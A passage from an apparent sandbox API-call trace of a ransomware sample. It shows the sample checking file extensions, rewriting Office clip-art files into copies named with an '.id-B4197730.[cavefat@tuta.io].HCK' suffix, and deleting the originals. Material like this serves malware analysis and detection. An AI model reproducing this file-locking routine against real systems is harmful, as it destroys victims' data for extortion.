returned -1 [0165.240] lstrlenW (lpString=".ppt") returned 4 [0165.240] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.240] lstrlenW (lpString=".zip") returned 4 [0165.240] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString=".rar") returned 4 [0165.240] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString=".bz2") returned 4 [0165.240] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString=".7z") returned 3 [0165.240] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.240] lstrlenW (lpString=".dbf") returned 4 [0165.240] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.240] lstrlenW (lpString=".1cd") returned 4 [0165.240] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.240] lstrlenW (lpString=".jpg") returned 4 [0165.240] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.240] lstrlenW (lpString=".doc") returned 4 [0165.240] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString=".docx") returned 5 [0165.240] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0165.240] lstrlenW (lpString=".pdf") returned 4 [0165.240] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString=".xls") returned 4 [0165.240] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.240] lstrlenW (lpString=".xlsx") returned 5 [0165.240] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0165.241] lstrlenW (lpString=".ppt") returned 4 [0165.241] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.241] lstrlenW (lpString=".zip") returned 4 [0165.241] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.241] lstrlenW (lpString=".rar") returned 4 [0165.241] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.241] lstrlenW (lpString=".bz2") returned 4 [0165.241] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.241] lstrlenW (lpString=".7z") returned 3 [0165.241] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.241] lstrlenW (lpString=".dbf") returned 4 [0165.241] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.241] lstrlenW (lpString=".1cd") returned 4 [0165.241] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0165.241] lstrlenW (lpString=".jpg") returned 4 [0165.241] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.241] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.241] lstrlenW (lpString="J0101860.BMP") returned 12 [0165.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0165.423] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32184) returned 1 [0165.423] CloseHandle (hObject=0x394) returned 1 [0165.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0165.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.431] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.432] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.438] GetLastError () returned 0x0 [0165.438] ReadFile (in: hFile=0x390, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0165.441] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0165.442] ReadFile (in: hFile=0x390, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.442] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.442] SetEndOfFile (hFile=0x308) returned 1 [0165.447] CloseHandle (hObject=0x308) returned 1 [0165.452] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.453] SetEndOfFile (hFile=0x390) returned 1 [0165.460] CloseHandle (hObject=0x390) returned 1 [0165.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0165.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.482] lstrlenW (lpString=".doc") returned 4 [0165.482] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.482] lstrlenW (lpString=".docx") returned 5 [0165.482] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0165.482] lstrlenW (lpString=".pdf") returned 4 [0165.482] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.482] lstrlenW (lpString=".xls") returned 4 [0165.482] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.482] lstrlenW (lpString=".xlsx") returned 5 [0165.482] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0165.482] lstrlenW (lpString=".ppt") returned 4 [0165.482] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.482] lstrlenW (lpString=".zip") returned 4 [0165.482] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.482] lstrlenW (lpString=".rar") returned 4 [0165.482] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.482] lstrlenW (lpString=".bz2") returned 4 [0165.482] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.482] lstrlenW (lpString=".7z") returned 3 [0165.482] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.482] lstrlenW (lpString=".dbf") returned 4 [0165.482] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.483] lstrlenW (lpString=".1cd") returned 4 [0165.483] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.483] lstrlenW (lpString=".jpg") returned 4 [0165.483] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.483] lstrlenW (lpString=".doc") returned 4 [0165.483] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString=".docx") returned 5 [0165.483] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0165.483] lstrlenW (lpString=".pdf") returned 4 [0165.483] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString=".xls") returned 4 [0165.483] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString=".xlsx") returned 5 [0165.483] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0165.483] lstrlenW (lpString=".ppt") returned 4 [0165.483] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.483] lstrlenW (lpString=".zip") returned 4 [0165.483] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString=".rar") returned 4 [0165.483] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString=".bz2") returned 4 [0165.483] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString=".7z") returned 3 [0165.483] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.483] lstrlenW (lpString=".dbf") returned 4 [0165.483] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.483] lstrlenW (lpString=".1cd") returned 4 [0165.483] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0165.483] lstrlenW (lpString=".jpg") returned 4 [0165.483] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.483] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.483] lstrlenW (lpString="J0101865.BMP") returned 12 [0165.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.502] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32184) returned 1 [0165.502] CloseHandle (hObject=0x390) returned 1 [0165.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0165.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.517] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.517] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.524] GetLastError () returned 0x0 [0165.524] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0165.528] WriteFile (in: hFile=0x390, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0165.529] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.529] WriteFile (in: hFile=0x390, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.529] SetEndOfFile (hFile=0x390) returned 1 [0165.531] CloseHandle (hObject=0x390) returned 1 [0165.532] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.532] SetEndOfFile (hFile=0x308) returned 1 [0165.534] CloseHandle (hObject=0x308) returned 1 [0165.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0165.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.544] lstrlenW (lpString=".doc") returned 4 [0165.544] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.544] lstrlenW (lpString=".docx") returned 5 [0165.544] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0165.545] lstrlenW (lpString=".pdf") returned 4 [0165.545] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".xls") returned 4 [0165.545] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".xlsx") returned 5 [0165.545] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0165.545] lstrlenW (lpString=".ppt") returned 4 [0165.545] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.545] lstrlenW (lpString=".zip") returned 4 [0165.545] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".rar") returned 4 [0165.545] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".bz2") returned 4 [0165.545] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".7z") returned 3 [0165.545] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.545] lstrlenW (lpString=".dbf") returned 4 [0165.545] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.545] lstrlenW (lpString=".1cd") returned 4 [0165.545] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.545] lstrlenW (lpString=".jpg") returned 4 [0165.545] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.545] lstrlenW (lpString=".doc") returned 4 [0165.545] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".docx") returned 5 [0165.545] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0165.545] lstrlenW (lpString=".pdf") returned 4 [0165.545] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".xls") returned 4 [0165.545] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".xlsx") returned 5 [0165.545] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0165.545] lstrlenW (lpString=".ppt") returned 4 [0165.545] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.545] lstrlenW (lpString=".zip") returned 4 [0165.545] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".rar") returned 4 [0165.545] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".bz2") returned 4 [0165.545] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString=".7z") returned 3 [0165.545] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.545] lstrlenW (lpString=".dbf") returned 4 [0165.545] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.545] lstrlenW (lpString=".1cd") returned 4 [0165.546] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0165.546] lstrlenW (lpString=".jpg") returned 4 [0165.546] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.546] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.546] lstrlenW (lpString="J0102002.WMF") returned 12 [0165.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.554] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15988) returned 1 [0165.554] CloseHandle (hObject=0x308) returned 1 [0165.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0165.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.568] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.568] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.574] GetLastError () returned 0x0 [0165.574] ReadFile (in: hFile=0x390, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0165.576] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0165.577] ReadFile (in: hFile=0x390, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.577] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.577] SetEndOfFile (hFile=0x354) returned 1 [0165.578] CloseHandle (hObject=0x354) returned 1 [0165.579] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.579] SetEndOfFile (hFile=0x390) returned 1 [0165.581] CloseHandle (hObject=0x390) returned 1 [0165.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.591] lstrlenW (lpString=".doc") returned 4 [0165.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.591] lstrlenW (lpString=".docx") returned 5 [0165.591] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0165.591] lstrlenW (lpString=".pdf") returned 4 [0165.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.591] lstrlenW (lpString=".xls") returned 4 [0165.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.591] lstrlenW (lpString=".xlsx") returned 5 [0165.591] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0165.591] lstrlenW (lpString=".ppt") returned 4 [0165.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0165.591] lstrlenW (lpString=".zip") returned 4 [0165.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.591] lstrlenW (lpString=".rar") returned 4 [0165.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString=".bz2") returned 4 [0165.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.592] lstrlenW (lpString=".7z") 